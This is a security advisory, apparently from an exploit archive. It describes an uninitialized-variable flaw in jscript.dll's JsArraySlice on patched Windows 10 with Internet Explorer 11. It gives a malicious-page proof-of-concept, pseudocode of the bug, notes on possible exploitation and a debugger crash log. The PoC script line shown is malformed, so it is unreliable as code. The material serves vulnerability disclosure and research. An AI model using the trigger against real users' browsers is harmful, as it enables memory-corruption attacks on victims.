Microsoft Windows - 'jscript!JsArraySlice' Uninitialized Variable







Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.



There is an uninitialized variable vulnerability in jscript.dll. This issue could potentially be exploited through multiple vectors:

 - By opening a malicious web page in Internet Explorer.

 - [currently untested] An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim.

The issue has been verified on 64-bit Windows 10 with the most recent patches applied.

PoC for Internet Explorer (tested on IE 11 with a 64-bit tab process. Might no work very reliably due to the nature of the issue, please see the technical details below):


<!-- saved from url=(0014)about:internet -->
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">
var x = new URIError(new Array(), undefined, undefined);, new Date(0, 0, 0, 0, 0, 0, undefined));;


Technical details:

The issue is in jscript!JsArraySlice ( in the PoC above, all other lines are just fuzzer generated junk that puts the stack into a 'correct' state needed to demonstrate the issue).

JsArraySlice looks approximately like:

int JsArraySlice(CSession *session, VAR *this, VAR *ret, int num_args, VAR *args) {
  VAR object;
  VAR length;
  NameTbl *nametable;

  if(!ConvertToObject(session, this, &object, 0)) {
    //set error and return
  if(!IsJSObject(&object, &nametable)) {
    //set error and return
  if(nametable->GetVal(&g_sym_length, &length) < 0) {
    //set error and return  
  if(length->type != TYPE_INT) {
    ConvertToScalar(session, &length, &length, 3, 1);



The issue is that JsArraySlice() expects NameTBL::GetVal() to return an integer <0 if the input object does not contain the 'length' property. However in this case NameTBL::GetVal() will actually return 1. Also, in this case, the length VAR is *not* going to be initialized. Thus if NameTBL::GetVal() returns 1, ConvertToScalar() is going to be called with invalid arguments. Depending on the perceived (uninitialized) type of length VAR, this might lead to exploitable conditions including calling a virtual method on the uninitialized pointer (see below).

Debug log:


(a3c.bd8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00007ffa`e45a45fd 488b4008        mov     rax,qword ptr [rax+8] ds:0000004e`00610056=????????????????

0:014> r
rax=0000004e0061004e rbx=000000f42f0fb400 rcx=00007ffae4630904
rdx=0000000000000081 rsi=0000000000000002 rdi=00007ffae4630904
rip=00007ffae45a45fd rsp=000000f42f0fb1e0 rbp=000000f42f0fb2e0
 r8=000000f42f0fb230  r9=000000f42f0fb2a0 r10=0000000000000080
r11=5555555511140000 r12=0000000000000000 r13=0000000000000000
r14=000002a7533c5a70 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
00007ffa`e45a45fd 488b4008        mov     rax,qword ptr [rax+8] ds:0000004e`00610056=????????????????

0:014> k
 # Child-SP          RetAddr           Call Site
00 000000f4`2f0fb1e0 00007ffa`e45b548f jscript!InvokeDispatch+0xbd
01 000000f4`2f0fb380 00007ffa`e45adc2d jscript!AutBlock::AddRef+0x101f
02 000000f4`2f0fb3d0 00007ffa`e45e048f jscript!ConvertToScalar+0x51
03 000000f4`2f0fb440 00007ffa`e458265a jscript!JsArraySlice+0x10f
04 000000f4`2f0fb540 00007ffa`e458b015 jscript!NatFncObj::Call+0x10a
05 000000f4`2f0fb5f0 00007ffa`e458d75b jscript!NameTbl::InvokeInternal+0x135
06 000000f4`2f0fb6b0 00007ffa`e45d4d80 jscript!VAR::InvokeByDispID+0x87
07 000000f4`2f0fb700 00007ffa`e458265a jscript!JsFncCall+0xb0
08 000000f4`2f0fb780 00007ffa`e458b015 jscript!NatFncObj::Call+0x10a
09 000000f4`2f0fb830 00007ffa`e458cce0 jscript!NameTbl::InvokeInternal+0x135
0a 000000f4`2f0fb8f0 00007ffa`e45a7f18 jscript!VAR::InvokeByName+0x580
0b 000000f4`2f0fbaf0 00007ffa`e45b562b jscript!VAR::InvokeDispName+0x60
0c 000000f4`2f0fbb70 00007ffa`e4594ccf jscript!AutBlock::AddRef+0x11bb
0d 000000f4`2f0fbbc0 00007ffa`e45972cd jscript!CScriptRuntime::Run+0x665f
0e 000000f4`2f0fc520 00007ffa`e4597428 jscript!ScrFncObj::CallWithFrameOnStack+0x15d
0f 000000f4`2f0fc720 00007ffa`e4588b15 jscript!ScrFncObj::Call+0xb8
10 000000f4`2f0fc7c0 00007ffa`e45861eb jscript!CSession::Execute+0x265
11 000000f4`2f0fc920 00007ffa`e4586929 jscript!COleScript::ExecutePendingScripts+0x28b
12 000000f4`2f0fca00 00007ffa`e4586a06 jscript!COleScript::ParseScriptTextCore+0x239
13 000000f4`2f0fcaf0 00007ffa`ae439138 jscript!COleScript::ParseScriptText+0x56
14 000000f4`2f0fcb50 00007ffa`ae4f8f7d MSHTML!CActiveScriptHolder::ParseScriptText+0xb8
15 000000f4`2f0fcbd0 00007ffa`ae4f827c MSHTML!CScriptCollection::ParseScriptText+0x26d
16 000000f4`2f0fccb0 00007ffa`ae465a63 MSHTML!CScriptData::CommitCode+0x3b4
17 000000f4`2f0fce80 00007ffa`ae4657df MSHTML!CScriptData::Execute+0x267
18 000000f4`2f0fcf40 00007ffa`ae357ea1 MSHTML!CHtmScriptParseCtx::Execute+0xbf
19 000000f4`2f0fcf70 00007ffa`ae3b8880 MSHTML!CHtmParseBase::Execute+0x181
1a 000000f4`2f0fd000 00007ffa`ae3b846a MSHTML!CHtmPost::Broadcast+0x50
1b 000000f4`2f0fd040 00007ffa`ae467fae MSHTML!CHtmPost::Exec+0x39a
1c 000000f4`2f0fd240 00007ffa`ae469324 MSHTML!CHtmPost::Run+0x32
1d 000000f4`2f0fd270 00007ffa`ae463b99 MSHTML!PostManExecute+0x70
1e 000000f4`2f0fd2f0 00007ffa`ae463a60 MSHTML!PostManResume+0xa1
1f 000000f4`2f0fd330 00007ffa`ae44523c MSHTML!CHtmPost::OnDwnChanCallback+0x40
20 000000f4`2f0fd380 00007ffa`ae386e21 MSHTML!CDwnChan::OnMethodCall+0x1c
21 000000f4`2f0fd3b0 00007ffa`ae3adcb9 MSHTML!GlobalWndOnMethodCall+0x251
22 000000f4`2f0fd460 00007ffa`f1f61c24 MSHTML!GlobalWndProc+0xf9
23 000000f4`2f0fd4f0 00007ffa`f1f6156c USER32!UserCallWinProcCheckWow+0x274
24 000000f4`2f0fd650 00007ffa`afa629f7 USER32!DispatchMessageWorker+0x1ac
25 000000f4`2f0fd6d0 00007ffa`afa9ed04 IEFRAME!CTabWindow::_TabWindowThreadProc+0x5e7
26 000000f4`2f0ff920 00007ffa`e42c9586 IEFRAME!LCIETab_ThreadProc+0x3a4
27 000000f4`2f0ffa50 00007ffa`c8b92ed9 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x16
28 000000f4`2f0ffa80 00007ffa`f2268364 IEShims!NS_CreateThread::AutomationIE_ThreadProc+0x89
29 000000f4`2f0ffad0 00007ffa`f43e7091 KERNEL32!BaseThreadInitThunk+0x14
2a 000000f4`2f0ffb00 00000000`00000000 ntdll!RtlUserThreadStart+0x21

0:014> u rip
00007ffa`e45a45fd 488b4008        mov     rax,qword ptr [rax+8]
00007ffa`e45a4601 ff15c14d0700    call    qword ptr [jscript!_guard_dispatch_icall_fptr (00007ffa`e46193c8)]
00007ffa`e45a4607 488d442458      lea     rax,[rsp+58h]
00007ffa`e45a460c 458bc4          mov     r8d,r12d
00007ffa`e45a460f 4889442448      mov     qword ptr [rsp+48h],rax
00007ffa`e45a4614 488bd7          mov     rdx,rdi
00007ffa`e45a4617 488d4580        lea     rax,[rbp-80h]
00007ffa`e45a461b 498bce          mov     rcx,r14